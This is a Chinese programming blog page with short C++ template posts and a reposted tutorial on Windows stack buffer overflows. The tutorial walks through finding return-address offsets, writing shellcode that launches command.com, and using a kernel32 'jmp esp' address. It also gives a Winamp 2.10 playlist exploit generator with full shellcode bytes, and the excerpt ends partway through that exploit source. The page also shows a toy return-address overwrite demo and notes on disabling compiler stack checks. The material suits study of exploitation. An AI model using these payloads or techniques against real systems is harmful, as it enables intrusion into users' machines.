青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

tommy

It's hard to tell the world we live in is either a reality or a dream
posts - 52, comments - 17, trackbacks - 0, articles - 0
  C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

就是這么一個(gè)模板結(jié)構(gòu),所有的價(jià)值在于編譯時(shí)刻根據(jù)常數(shù)調(diào)用不同函數(shù)或者編譯期實(shí)施編譯分支的分派。

template <int v>
struct Int2Type
{
    
enum { value = v };
}
;

如下:
template <typename T, bool isPolimorphic>
class NiftyContainer
{
private:
    
void DoSomething( T* pObj, Int2Type<true>)
    
{
        T
* pNewObj = pObj->Clone();
    }

    
void DoSomething( T* pObj, Int2Type<false>)
    
{
        T 
* pNewObj = new T(*pObj);
    }

public:
    
void DoSomething(T * pObj)
    
{
        DoSomething(pObj, Int2Type
<isPolimorphic>());
    }

}
;

如果沒(méi)有這個(gè) Int2Type,是不可能實(shí)現(xiàn)兩個(gè)“重載”函數(shù) DoSomething( .. Int2Type<true>)和 DoSomething(...Int2Type<false>)的,NiftyContainer的參數(shù) isPolimorphic只能取true或者false,實(shí)際上編譯出來(lái)的要么是前一個(gè)函數(shù),要么是后一個(gè)函數(shù)。
如果沒(méi)有這個(gè)Int2Type,最容易想到的就是像下面這樣做:

if (isPolimorphic)
{
      T * pNewObj = pSomeObj->Clone();
}
else
{
       T * pNewObj = new T (*pSomeObj);
}

如果多態(tài)算法使用 pObj->Clone(),那么對(duì)于任何一個(gè)未曾定義 Clone函數(shù)(即isPolimorphic==false)的類(lèi)來(lái)說(shuō),這里的前一個(gè)分支是編譯失敗的。反之,如果 isPolimorphic == true,是不是后面那個(gè)分支就保證沒(méi)問(wèn)題,一定能通過(guò)呢?不是的,如果有一個(gè)類(lèi)設(shè)計(jì)成為有 Clone函數(shù),但是構(gòu)造函數(shù)是私有的,就不行咯。

所以, Int2Type是跟編譯器說(shuō):嘿,不要去管那個(gè)我不關(guān)心的分支。

妙啊!

posted @ 2006-01-24 02:20 Tommy Liang 閱讀(1087) | 評(píng)論 (0)編輯 收藏

下面的代碼,所謂 "Template Template 參數(shù)",在 VC6 下面編譯是會(huì)報(bào)告“template can't be nested”的,幸好, VC7是能成功編譯的,否則這本《C++設(shè)計(jì)新思維》就很難看下去了,

template <class T>
struct OpNewCreator
{
    
static T* Create()
    
{
        
return new T;
    }

}
;
template 
<class T>
struct MallocCreator
{
    
static T* Create()
    
{
        
void * buf = std::malloc(sizeof(T));
        
if (! buf ) return 0;
        
return new(buf) T;
    }

}
;
template 
<class T>
struct PrototypeCreator
{
    PrototypeCreator(T
* pObj = 0) : pPrototype_(pObj)
    
{}
    T 
* Create()
    
{
        
return pPrototype_ ? pPrototype_->Clone() : 0;
    }

    T
* GetPrototype() return pPrototype_; }
    
void SetPrototype(T * pObj) { pPrototype_ = pObj; }
private:
    T
* pPrototype_;
}
;


class Widget
{
}
;


template 
<template <class Created> class CreationPolicy>
class WidgetManager : public CreationPolicy<Widget>
{
    
//
}
;



int _tmain(int argc, _TCHAR* argv[])
{
    typedef WidgetManager
< OpNewCreator >  myWidgetMgr;

    
return 0;
}

posted @ 2006-01-21 04:39 Tommy Liang 閱讀(1864) | 評(píng)論 (2)編輯 收藏

http://comcamp.diy.myrice.com/techarticles/vc/0008.htm

posted @ 2005-12-19 01:03 Tommy Liang 閱讀(181) | 評(píng)論 (0)編輯 收藏

參考了Nish Bhalla的堆棧溢出教程。要看到效果必須把VC編譯選項(xiàng) /GZ去掉。

#include "stdafx.h"
#include 
<string.h>
#include 
<stdlib.h>

int copy(char* input)
{
    
char var[20];
    strcpy (var, input);
    
return 0;
}

int hacked(void)
{
    printf(
"這里是堆棧溢出程序.看到我了吧.\n");
    exit(
0);
}

int main(int argc, char* argv[])
{
    
char hackstr[] = "AAAABBBBCCCCDDDDEEEEFFFFGGGG";
    
int *eip = (int*)&hackstr[24];        //20->23是EBP
    *eip = (int)hacked;

    copy(hackstr);
    
return 0;
}

posted @ 2005-12-03 14:04 Tommy Liang 閱讀(2670) | 評(píng)論 (4)編輯 收藏

目前看到的堆棧溢出程序都是直接寫(xiě)返回位置,而EBP則直接覆蓋掉了(任意值),也就是說(shuō),萬(wàn)一調(diào)用函數(shù)在為調(diào)用函數(shù)準(zhǔn)備參數(shù)之前在BEP里面保存了值,那么如果還要從溢出程序返回正常的函數(shù)流程的話。。。EBP的內(nèi)容就沒(méi)有了。


不知道理解正確不正確。。

posted @ 2005-12-03 13:56 Tommy Liang 閱讀(1605) | 評(píng)論 (0)編輯 收藏

/GS編譯選項(xiàng)是檢測(cè)改寫(xiě)返回地址的某些緩沖區(qū)溢出的編譯選項(xiàng),具體表現(xiàn)在

以下的代碼里面:

0040B577   mov         esi,esp
0040B579   lea         edx,[ebp-14h]
0040B57C   push        edx
0040B57D   call        dword ptr [__imp__LoadLibraryA@4 (00424138)]
0040B583   cmp         esi,esp
0040B585   call        __chkesp (004010c0)
0040B58A   mov         dword ptr [ebp-4],eax

為了學(xué)習(xí)關(guān)于緩沖區(qū)溢出編程的知識(shí),我們得從簡(jiǎn)入難,因此要關(guān)閉這個(gè)選項(xiàng)。

VC6的project setting沒(méi)有這個(gè)選項(xiàng),/GS是VC7 用的

/nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/OverFlow.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c

嗯。。。?

查一查,看一看,原來(lái)是 /GZ 起作用.

我把 /GZ編譯選項(xiàng)去掉就OK了,沒(méi)有討厭的call __chkesp了,

posted @ 2005-12-03 12:33 Tommy Liang 閱讀(1727) | 評(píng)論 (0)編輯 收藏

http://www.51cto.com/html/2005/1009/6186.htm

posted @ 2005-12-02 14:42 Tommy Liang 閱讀(161) | 評(píng)論 (0)編輯 收藏

window系統(tǒng)下的堆棧溢出
文章出處:綠盟安全月刊->第7期->技術(shù)專(zhuān)題   發(fā)布時(shí)間:2005-07-20
  ◆原理篇

這一講我們來(lái)看看windows系統(tǒng)下的程序。我們的目的是研究如何利用windows程序的
堆棧溢出漏洞。

讓我們從頭開(kāi)始。windows 98第二版

首先,我們來(lái)寫(xiě)一個(gè)問(wèn)題程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++) printf("\\0x%x",name[i]);
}

相信大家都看出來(lái)了,gets(name)對(duì)name數(shù)組沒(méi)有作邊界檢查。那么我們可以給程序
一個(gè)很長(zhǎng)的串,肯定可以覆蓋堆棧中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61

到這里,出現(xiàn)了那個(gè)熟悉的對(duì)話框“該程序執(zhí)行了非法操作。。。”,太好了,點(diǎn)擊
詳細(xì)信息按鈕,看到EIP的值是0x61616161,哈哈,對(duì)話框還會(huì)把返回地址告訴我們。
這個(gè)功能太好了,我們可以選擇一個(gè)序列的輸入串,精確的確定存放返回地址的偏移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32
到這里,又出現(xiàn)了那個(gè)熟悉的對(duì)話框“改程序執(zhí)行了非法操作。。。”,點(diǎn)擊詳細(xì)信息
按鈕,下面是詳細(xì)信息:

VUNERABLE 在 00de:32363235 的模塊
<未知> 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。 Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

哦哦,EIP的內(nèi)容為0x32363235,就是2625,EBP的內(nèi)容為0x32343233,就是2423,計(jì)算
一下可以知道,在堆棧中,從name變量地址開(kāi)始偏移36處,是EBP的地址,從name變量
地址開(kāi)始偏移40處,是ret的地址。我們可以給name數(shù)組輸入我們精心編寫(xiě)的shellcode。
我們只要把name的開(kāi)始地址放在溢出字符串的地址40就可以了。那么,name的開(kāi)始地址
是多少呢?

通過(guò)上面的stack dump 我們可以看到,當(dāng)前ESP所指向的地址0x0064fe00,內(nèi)容為
0x32383237,那么計(jì)算得出,name的開(kāi)始地址為:0x0064fe00-44=0x64fdd4。在windows
系統(tǒng),其他運(yùn)行進(jìn)程保持不變的情況下。我們每次執(zhí)行vunera~1的堆棧的開(kāi)始地址都
是相同的。也就是說(shuō),每次運(yùn)行,name的地址都是0x64fdd4。

講到這里,大家一定已經(jīng)發(fā)現(xiàn)了這樣一個(gè)情況:在win系統(tǒng)中,由于有地址沖突檢測(cè),
出錯(cuò)時(shí)寄存器影像和堆棧影像,使得我們對(duì)堆棧溢出漏洞可以進(jìn)行精確的分析
溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。

OK,萬(wàn)事具備,只差shellcode了。

首先,考慮一下我們的shellcode要作什么?顯然,根據(jù)以往的經(jīng)驗(yàn),我們想開(kāi)一個(gè)
dos窗口,這樣在這個(gè)窗口下,我們就可以作很多事情。

開(kāi)一個(gè)dos窗口的程序如下:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

這個(gè)程序有必要詳細(xì)解釋一下。我們知道執(zhí)行一個(gè)command.com就可以獲得一個(gè)
dos窗口。在C庫(kù)函數(shù)里面,語(yǔ)句system(command.com);將完成我們需要的功能。
但是,windows不像UNIX那樣使用系統(tǒng)調(diào)用來(lái)實(shí)現(xiàn)關(guān)鍵函數(shù)。對(duì)于我們的程序來(lái)說(shuō),
windows通過(guò)動(dòng)態(tài)鏈接庫(kù)來(lái)提供系統(tǒng)函數(shù)。這就是所謂的Dll's。

因此,當(dāng)我們想調(diào)用一個(gè)系統(tǒng)函數(shù)的時(shí)候,并不能直接引用他。我們必須找到那個(gè)
包含此函數(shù)的動(dòng)態(tài)鏈接庫(kù),由該動(dòng)態(tài)鏈接庫(kù)提供這個(gè)函數(shù)的地址。DLL本身也有一個(gè)
基本地址,該DLL每一次被加載都是從這個(gè)基本地址加載。比如,system函數(shù)由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從
0x78000000地址開(kāi)始。system函數(shù)位于msvcrt.dll的一個(gè)固定偏移處(這個(gè)偏移地址
只與msvcrt.dll的版本有關(guān),不同的版本可能偏移地址不同)。我的系統(tǒng)上,
msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。

所以,要想執(zhí)行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動(dòng)態(tài)鏈接庫(kù)
msvcrt.dll,獲得動(dòng)態(tài)鏈接庫(kù)的句柄。然后使用GetProcAddress(LibHandle, system)
獲得 system的真實(shí)地址。之后才能使用這個(gè)真實(shí)地址來(lái)調(diào)用system函數(shù)。

好了,現(xiàn)在可以編譯執(zhí)行,結(jié)果正確,我們得到了一個(gè)dos框。

現(xiàn)在對(duì)這個(gè)程序進(jìn)行調(diào)試跟蹤匯編語(yǔ)言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;現(xiàn)在,eax的值為0x78019824就是system的真實(shí)地址。
;這個(gè)地址對(duì)于我的機(jī)器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數(shù),只有一個(gè)參數(shù),就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

現(xiàn)在我們可以寫(xiě)出一段匯編代碼來(lái)完成system,看以看我們的執(zhí)行system調(diào)用的代碼
是否能夠像我們?cè)O(shè)計(jì)的那樣工作:

#include #include
void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的內(nèi)容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,
;作用是構(gòu)造字符串的結(jié)尾\0字符。
sub esp,08h ;加上上面,一共有12個(gè)字節(jié),
;用來(lái)放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數(shù)入棧
mov eax, 0x78019824 ;
call eax ;調(diào)用system
}
}

編譯,然后運(yùn)行。好,DOS框出來(lái)了。在提示符下輸入dir,copy......是不是想起了
當(dāng)年用286的時(shí)候了?

敲exit退出來(lái),哎呀,發(fā)生了非法操作。Access Violation。這是肯定的,因?yàn)槲覀兊?br> 程序已經(jīng)把堆棧指針搞亂了。

對(duì)上面的算法進(jìn)行優(yōu)化,現(xiàn)在我們可以寫(xiě)出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

還記得第二講中那個(gè)測(cè)試shellcode的基本程序嗎?我們可以用他來(lái)測(cè)試這個(gè)shellcode:
#include #include char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因?yàn)椋河衟ush ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開(kāi)始地址。

}
編譯運(yùn)行,得到dos對(duì)話框。

現(xiàn)在總結(jié)一下。我們已經(jīng)知道了在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算
偏移地址,以及如何編寫(xiě)一個(gè)shellcode以得到dos。理論上,你已經(jīng)具備了利用堆棧溢出
的能力了,下面,我們通過(guò)實(shí)戰(zhàn)來(lái)真正掌握他。



◆溢出字符串的設(shè)計(jì)

我們已經(jīng)知道了在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算
偏移地址,以及如何編寫(xiě)一個(gè)shellcode以得到dos。

但是這遠(yuǎn)遠(yuǎn)不夠。

大家知道windows系統(tǒng)的用戶進(jìn)程空間是0--2G,操作系統(tǒng)所占的為2--4G。
事實(shí)上用戶進(jìn)程的加載位置為:0x00400000.這個(gè)進(jìn)程的所有指令地址,數(shù)據(jù)地址
和堆棧指針都會(huì)含有0,那么我們的返回地址就必然含有0。

現(xiàn)在來(lái)看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode
由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確
的放在確切的函數(shù)堆棧中的ret位置。

事實(shí)上,在上一講里面,我們已經(jīng)掌握了很精確的找到這個(gè)位置的方法。

其次,windows在執(zhí)行mov esp,ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充
(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的shellcode可能會(huì)被覆蓋!
----這下完蛋了,我們的shellcode都沒(méi)了,返回地址正確又有什么用??

所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)
溢出發(fā)生之后,堆棧的布局如下:

內(nèi)存底部 內(nèi)存頂部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS ^&buffer
堆棧頂部 堆棧底部

看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內(nèi)容,就是指向S的調(diào)用。

但是,剛才我們說(shuō)過(guò)A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,
根本無(wú)法到shellcode。我們需要把A改成不包含0的地址。

好像沒(méi)有辦法了,是嗎?現(xiàn)在我們的A如何能做到即可以跳轉(zhuǎn)到我們的shellcode,
又可以不包含0字節(jié)呢?

大家可能還記得當(dāng)年IIS4.0遠(yuǎn)程攻擊的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系統(tǒng)核心dll中的指令來(lái)完成跳轉(zhuǎn)
的思想。我不得不說(shuō)這是一個(gè)天才的想法。事實(shí)上,這一技巧開(kāi)創(chuàng)了一個(gè)嶄新
的windows緩沖區(qū)溢出的思路。

思路是這樣的:返回地址A的內(nèi)容不指向我們的shellcode開(kāi)始地點(diǎn),否則的話
A里面必然含有0。我們知道系統(tǒng)核心的dll都是在2-4G,也就是從0x80000000到
0xffffffff,這里面的指令地址將不包含0,(當(dāng)然幾個(gè)別的除外,我們可以不用他)。
因此,我們可以令返回地址A等于一個(gè)系統(tǒng)核心dll中的指令的地址,這個(gè)指令的
作用就是call/jmp 我們的shellcode。

但是他怎么才能知道我們的shellcode的地址呢?

答案是:用寄存器。因?yàn)樵谝绯霭l(fā)生的時(shí)候,除了eip跳到了系統(tǒng)核心dll去之外,
其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關(guān)信息。
比如說(shuō),敵人的函數(shù)如果有參數(shù)的話,那么我們的A覆蓋了他的返回地址,shellcode
的開(kāi)始地址則恰恰在他的第一個(gè)參數(shù)的位置上,那我們就可以用call [ebp+4]或者
我們假設(shè)敵人第一個(gè)參數(shù)的地址在eax,那我們就可以使用call/jmp eax來(lái)調(diào)用shellcode。
這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和
堆棧的詳細(xì)資料。

那么我們?cè)趺粗滥睦镉衏all/jmp eax什么的呢?我們又怎么知道這些指令是每次都在
內(nèi)存中可以直接調(diào)用呢?

答案是:系統(tǒng)核心dll。系統(tǒng)核心dll包括kernel32.dll,user32.dll,gdi32.dll.
這些dll是一直位于內(nèi)存中而且對(duì)應(yīng)于固定的版本windows加載的位置是固定的。
你可以在這些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了這個(gè)dll。不過(guò)一般的說(shuō),這幾個(gè)dll就夠了。

好,那么我們的shellcode最終為:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N為NOP指令
A為指向某一條call/jmp指令的地址,這個(gè)call/jmp指令位于系統(tǒng)核心內(nèi)存>0x80000000,
這個(gè)call/jmp指令具體的內(nèi)容,需要根據(jù)我們exploit出來(lái)的結(jié)果分析得知。
S:shellcode。

有了這些基礎(chǔ)知識(shí),我們來(lái)分析一個(gè)實(shí)例。

大家都有winamp吧,他的2.10有緩沖區(qū)漏洞,下面我們來(lái)實(shí)現(xiàn)一個(gè)exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名長(zhǎng)度
如果大于一定長(zhǎng)度就會(huì)發(fā)生堆棧溢出。我們可以寫(xiě)出測(cè)試串,精確的測(cè)試。
test.cpp
----------------------------------------------------------------------------
#include
int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++) {
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
----------------------------------------------------------------------------
算法很簡(jiǎn)單,是寫(xiě)出一個(gè)crach.pls文件,內(nèi)容可以根據(jù)那幾個(gè)fprintf看出來(lái)的。
我就不講了,其中buffer的內(nèi)容為測(cè)試用的字符串。這個(gè)測(cè)試程序可以測(cè)試
最長(zhǎng)為26^3的串,足夠了。

編譯執(zhí)行,看看結(jié)果,嘿,發(fā)生了堆棧溢出,結(jié)果如下:

WINAMP 在 00de:4c574141 的模塊
<未知> 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。 Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141

根據(jù)eip=4141574c計(jì)算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置為580。

大家現(xiàn)在知道我們的溢出字符串中,返回地址A應(yīng)該在串的580處,那么我們應(yīng)該
讓他使用什么call/jmp指令以達(dá)到shellcode呢?

看看寄存器dump,我們發(fā)現(xiàn)ESP里面的內(nèi)容是41415750,恰好是4141574c之后的
第一個(gè)數(shù)。看來(lái)ESP指向我們的shellcode,太棒了!我們使用指令:
jmp ESP 就可以執(zhí)行我們的shellcode了。

現(xiàn)在找出jmp esp的指令碼為 FF E4,ctrl-D 調(diào)出s-ice,看看內(nèi)存里面那里有FF E4.
因?yàn)橄到y(tǒng)核心dll的加載地址都是從地址0xBf000000開(kāi)始,所以我們
搜索s Bf000000 L ffffffff ff,e4
得到了哪些結(jié)果?

一堆呀,這第一個(gè)是:BFF795A3。看看softice里面的進(jìn)程名稱(chēng)欄:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。
ok,問(wèn)題解決,我們現(xiàn)在可以確定在buffer〔580〕處,寫(xiě)入四個(gè)字節(jié):
"\xa3\x95\xf7\xbf".這就是我們的溢出字符串中的返回地址A。

好了,現(xiàn)在溢出字符串已經(jīng)基本分析完了,就差shellcode了。
下面我們來(lái)寫(xiě)shellcode。
我們的shellcode要開(kāi)一個(gè)dos窗口。C語(yǔ)言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很簡(jiǎn)單,是不是?下面是匯編代碼:

首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是開(kāi)一個(gè)dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后執(zhí)行exit,退出來(lái)。

push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]

簡(jiǎn)單說(shuō)一下,msvcrt.dll是運(yùn)行C語(yǔ)言標(biāo)準(zhǔn)庫(kù)函數(shù)所必須的一個(gè)動(dòng)態(tài)鏈接庫(kù)。
要想使用system,exit,必須加載這個(gè)庫(kù)。而winamp沒(méi)有import這個(gè)庫(kù),
所譯我們需要自己加載。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函數(shù)LoadLibraryA的地址。
他的代碼在kernel32.dll中,是被winamp加載了的dll。我的機(jī)器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函數(shù)system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函數(shù)exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用兩條指令來(lái)完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

編譯,找出二進(jìn)制code:
shellcode:
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

好了,所有的算法都討論完了,下一講我們就來(lái)實(shí)現(xiàn)一個(gè)exploit





◆最后的完善

我們把前面寫(xiě)的測(cè)試程序稍加改動(dòng)就是一個(gè)exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include
int main()
{


char buffer[640];
char eip[8] = "\xa3\x95\xf7\xBF";
char shellcode[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"http://load
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
